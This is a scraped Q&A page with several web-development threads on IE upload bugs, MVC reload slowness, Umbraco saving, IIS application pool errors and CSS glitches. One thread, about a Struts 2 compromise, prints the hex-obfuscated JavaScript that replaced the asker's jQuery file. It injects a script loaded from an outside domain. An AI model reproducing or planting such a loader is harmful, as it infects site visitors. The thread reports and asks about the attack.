MVC 4 - Upload Doesn't Work in IE When deployed to IIS 7.5 - asp.net-mvc

This problem only happens when I deploy this to our live server, it works fine on my development machine in the visual studio web server, and it is only a problem in IE (8 & 9 both)
Posting a jpeg with this form...
<form method="post" id="uploadForm" enctype="multipart/form-data" action="/ImageUpload/UploadImageNew">
<input type="file" onchange="postFile()" name="file"></div>
<input type="submit" value="OK">
</form>
Using this javascript...
function postFile(ctrl) {
document.getElementById('uploadForm').submit();
}
To this controller...
[HttpPost]
public ActionResult UploadImageNew(HttpPostedFileBase file)
{
// Verify that the user selected a file
if (file != null && file.ContentLength > 0)
{
file.SaveAs("AFilename.file");
}
else
{
throw new Exception("File not found")
}
return View("UploadImageNew");
}
Results in file.ContentLength = 0 in IE, but it works fine in FF & Chrome, the machine is on our Intranet if that makes any difference.
Any help greatly appreciated
UPDATE 1:
Weirdly it seems that the problem is intermittent, on Friday my colleague could not upload anything but I could, this morning it is me who can't and my colleague can both using IE.
Everything seems to point to an IIS config problem?
UPDATE 2:
Ok, it looks like my issue is related to expired sessions / security. I am using a Hybrid Authentication Method and it is causing me problems.
The main site uses forms authentication, however I have another site which does windows authentication for me and sets the cookies, disabling this fixed the issue for me.
Not sure why yet but I think this would be better in another question.
I am marking smartcaveman's answer as the right one, because his post lead to me to the right answer/explanation.

Your issue has nothing to do with the IIS. It is broken because you are wiring up using the change event. There are known issues with IE and the change event. A table with the compatibility of different browsers with this event on different HTML elements is available at quirksmode.
Here are a couple of blog articles on the subject:
http://passionatedevelopment.com/blog/2010/03/24/onchange-on-ie-vs-firefox-the-importance-of-cross-browser-test/
http://www.nofluffjuststuff.com/blog/scott_leberknight/2005/04/onclick_versus_onchange_in_ie_and_firefox
The most obvious way that occurs to me to do this is to use the blur and focus methods instead. (Record a value on focus, check it on blur, and if it's different submit).
Update
So, It's still not working? Here's a few other things that are worth looking into.
What happens if you try to get the value from the form field on the client-side, prior to submitting. e.g. function postFile(ctrl) { alert(document.getElementById('uploadForm').value); return false; }. Does it have a value? Also, have you confirmed the feature works on the live environment without the JavaScript? (e.g. just submit the form normally). If it does, then you can be sure the problem is on the front end. If it doesn't then the JS is fine and the problem is on the back-end.
Max Request Length / Max Content Length. In a comment on your post, you said that you have enabled up to 2GB in the maxRequestLength. However, this works a little differently in IIS7 than in IIS6 (or Casini if that was your previous test environment). The details about this are cited in this blog, but in summary you need to make sure that your web.config has the setting in the system.webServer section, and that the value actually represents what you think it does. Details are in the article.
Do you have exception handling and/or logging features in play? Is it possible you are swallowing an exception somewhere that is causing the request to be abandoned? Are there any empty try - catch blocks that might be protecting your view from an underlying error that would otherwise cause the request to fail? If you do have logging enabled, can you isolate a distinction between your attempted usage and your colleague's?
Is there anything different about the file structure on the live site than your development environment? I noticed you have a hard-coded form action /ImageUpload/UploadImageNew target, which could affect the application's ability to match the incoming route.
You said in the comment that the content length is 0, but if the test you used to determine this is what you have in the post, then you may be wrong. Your test is equivalent to file == null || file.ContentLength == 0). There are different implications depending on which is actually the case. If the file is null, then it may related to model binding. If the Content length is 0, then it at least recognized a file is being sent, but something goes wrong when it decides what to do about it. You can check to see if you are actually receiving the file data by looping through the HttpContext.Request.Form collection and writing out the values (That's how we used to do it... in the ASP Classic days). This other post, Valum file upload - Works in Chrome but not IE, Image img = Image.FromStream(Request.InputStream) , says that a user with the same kind of issue found the file content in the Request.Files collection. You won't know for sure until you check. Anyway, if the file data is in one of those places, you know that problem is happening in model binding (and you know the work around until you find the right way to fix it).
I also found something on the Telerik forums that seems to describe something similar that happens with their component (which is really just a wrapper of what you are doing). It points to a possible session time out.
I would suggest going through these items and seeing if any of them reveal more about the problem (at least #1 is sure to).

Last time I have the same problem when I write ajax based UI.I upload the file using the ajax.only Ie create problem for that time.
Not sure but try these link maybe helpful
Ajax file upload not working in IE7
Valum file upload - Works in Chrome but not IE, Image img = Image.FromStream(Request.InputStream)
http://haacked.com/archive/2010/07/16/uploading-files-with-aspnetmvc.aspx
Is you postFile() save file by ajax or form submission ? IE not take the filename (of upload) as chrome and firefox does. When you make upload debug the code and check if they are exist.

The easy solution that worked for me on IE11: Enable Compatibility mode.
For some reason, IE11 was doing two requests to my Upload endpoint... One without the file, that works fine and returns 200 status (but since it doesn't has the file, it's useless for me) and another request with the file... But this second one is always "pending" on the network tab of the Developer Tools inside IE. I couldn't find the reason for this odd behavior. Watching the logs from server I noticed this second request never hit the server.
This however don't solve the problem for everyone since you'll have to ask every user of your system to enable compatibility mode for your website... And it's not a good thing to ask for Internet users.

Related

MVC 5 reload extremely slow

I've tried every solution on StackOverflow so far and I can't get it to get an acceptable performance.
I'm in the developing process (not even close to publish), each time I change a single character on a .cshtml file and reload the browser, it takes half a minute or more to reload.
What is wrong? I haven't tweaked any setting other than Edit and Continue under Web/debugger property (because that was one answer in StackOverflow) after the project was generated from scratch.
EDIT 1:
The controller method is defined as the following:
public ActionResult Create() { return View(); }
The page took 2 minutes in loading as per Google Chrome network statistics (in localhost) with a size of 6KB, and it happened after I modified the css classname for 3 <input> tags
try to disable "browser link" feature. You can find that option in dropdown menu of reload icon (the one between start debug and solution configuration dropdown).
Let me know if you notice any change.
Have a nice day,
Alberto
It might just be the compile time if you're only experiencing the slowness the first time you refresh after the update. Try clearing the cache after the first refresh in the browser to see if reloads are faster than the first one. You'd know for sure if you have more pages and browse between them.
Try disabling the IPv6 in your browser. Also, take a look at this for additional tweaks:
Firefox and Chrome slow on localhost; known fix doesn't work on Windows 7

struts 2 bug gaining root access to server

been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.

Umbraco says it's saved changes to templates but the changes are lost

Each time I make a change to an Umbraco template and press Save, I get the confirmation popup saying:
Template saved
Template saved without any errors!
However, when I return to that template (click on another template and then back again), the changes have been lost.
I've ensured that the user account running my IIS application pool has Full Control over the \Views folder containing the .cshtml files (i.e. the Umbraco templates).
Strangely this just started happening, after it had been letting me make template changes with no problems. I can manually edit the .cshtml files on disk, but this seems ridiculous.
Any ideas?
A couple of things:
1) Have you checked that the following Windows accounts have full permissions for all folders "IUSR", "IIS_IUSRS", "NETWORK SERVICE" ?
2) Probably not but I have had problems in the past with caching. Have you disabled (set from True to False) caching properties in /config/umbracoSettings.config ? This should always be done during development.
OK, I'll provide an answer for others' future reference (although the reasons are unclear to me). It appears the change I was making to my Template must've been deemed invalid by Umbraco - when I strip the template text down to just a single, empty div and save it, the change is persisted successfully.
The confusing thing is that Umbraco provides no feedback as to why it's not saving - in fact it tells you that it HAS saved successfully.
Bizarre and confusing.
Just been editing my templates and got this problem. Fixed it by doing the following:
sign out of umbraco
clear your browsing data
sign back into umbraco
always be sure to copy and paste your code somewhere to keep it safe, and it can be easily pasted back in. Seems like a bug to me... but it saved after I did that.
(Using Umbraco 7)

Why am I getting the message "The specified request cannot be executed from current Application Pool"?

Quite not sure why I see this error.
I navigate to my Login View like so http://test.staging.com/mywebsite/Login
My Login view was just redone using MVC but I have seen this same error message going to an aspx page as well...
If I use http I get the error message The specified request cannot be executed from current Application Pool.
If I use https://test.staging.com/mywebsite/Login, I'm good.
If I don't specify a protocol, test.staging.com/mywebsite/Login, I get the error as well
Is there an error happening under the covers and my custom error page can't be shown like discussed here?
What are some other causes of this error?
That usually means your custom errors are configured to run as a different AppPool.
You can read more at MSDN. (See section "Using Custom Errors from Another Application Pool").
There are two ways to correct this behavior. The first is possibly not one that you are interested in because it would require you to change your current architecture and run both sites in the same application pool (such as share the same worker process memory space). To do this, simply move the /errors virtual directory to run in the same application pool as the site for which it serves the custom error.
The second way is to make use of a registry key provided by IIS 6.0. This registry key makes sure IIS 6.0 does not check the metadata during the execution of the custom error and therefore allowing this to work.
See the article for information on the registry key fix.
It may also mean that you are using something along the lines of Server.Transfer to a page that is in a different AppPool.
It could be because you're using different versions of ASP.NET for one or many apps in the pool.
Make sure all apps in the pool use the same version of ASP (e.g. ASP 2.0.50727)
If you just added a new app, try changing the app momentarily to a different version of ASP, then back to same version. I experienced an issue where the displayed version was correct, but under the hood, a different version was used!
Check your event log, under Application, to get more details about the error.
The message would be caused by your page server-side redirecting to a page served by another application pool. Such as for example, in your link, the error page.
I know this is an old thread, but I stumbled upon it and found a different solution. Here's what worked for me: Make sure your application handles .asmx files correctly
From IIS:
Right Click on your project > Properties > Configuration
If necessary, add the .asmx file extension that maps to the aspnet_isapi.dll
Limit to: "GET,HEAD,POST,DEBUG" and restart.
Because I can't comment on vcsjones's answer, I'll add it down here. The DWORD value IgnoreAppPoolForCustomErrors needs to be set under HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters vs HKLM\SYSTEM\CurrentControlSet\Services\W3SVC referenced in that technet article. Set it to 1 and do an iisreset and you're good to go.
Source Blog Post
In my particular case, I received this error while trying to serve a content (non ASP.NET) website while it was an Application. Right-Clicking the virtual folder and removing the application fixed it for me.
In my case the application used the application pool that didn't exist. I have no idea how it's happened.

Why does my CSS go screwy "sometimes"

A website of mine is behaving weirdly. The layout sometimes is fine, and sometimes it is screwy. An example page that I see the problem on is this one: link
Disclaimer: I have yet to start my investigation into cause in earnest. I am turning to Stackoverflow because I am lazy and I hope someone will say "That happened to me once, it is probably this...". So please, no one get stuck into this working out this issue if it is something you have never seen before, as it wouldn't be fair as I have not done it myself.
Ok, some background:
The problem usually (maybe always) occurs when first viewing the page
The problem does not show up always, only sometimes
When the page shows up munged, if you refresh it usually reloads looking as it should
The site is a rails app
The css is passed through the neat Smurf Gem, which automatically minifies the CSS and Javascript on the page.
The layout problems happen in firefox (both linux and winXP)
The CSS is served up in the production environment using the ":cache => true" option which concatenates all the css files into one file
Anyway, I am hoping that this has happened to someone before and it will be really simple to fix. If not, I'll go and investigate and return with the solution (or a request for more help).
Thanks in advance!
James.
[edit]I added the first two bullet points, inspired by the comments and first answer[/edit]
We have had something similar when using HAML and SASS that resulted in the CSS being completely unavailable. It only happened on deploys. We determined it was a combination of the Rails stylesheet merging and the generation of the CSS from SASS. Sass was not done generating the CSS, which it did so on the first request to the application, when Rails attempted to merge it all together. The result, a corrupt useless CSS file. Then we stumbled upon this article which has a solution for preventing this issue.
Based on all this, my best guess is that the Smurf gem is attempting to generate your file on the first request, but Rails is serving it out before its done. The generation completes then each following request is fine. If this is the problem then the only solution i know of is to get the file generated before the first request. Of course, this does assume that it is related to deployments or application restarts in some way.
Peer
I had such a problem. The problem was only at the first time the page was loaded. Just reload it and it was fine.
The problem in my case was that the images where not there in the cache for the first time so the browser didnt know it's dimensions when preparing the page which caused the problem
If an image doesn't have a height/width assigned to it, a place is created on the page and it's put there. If the image doesn't quite fit, the browser may not know this until it's refreshed. Then it already knows the size and can properly fit it onto the page.

Resources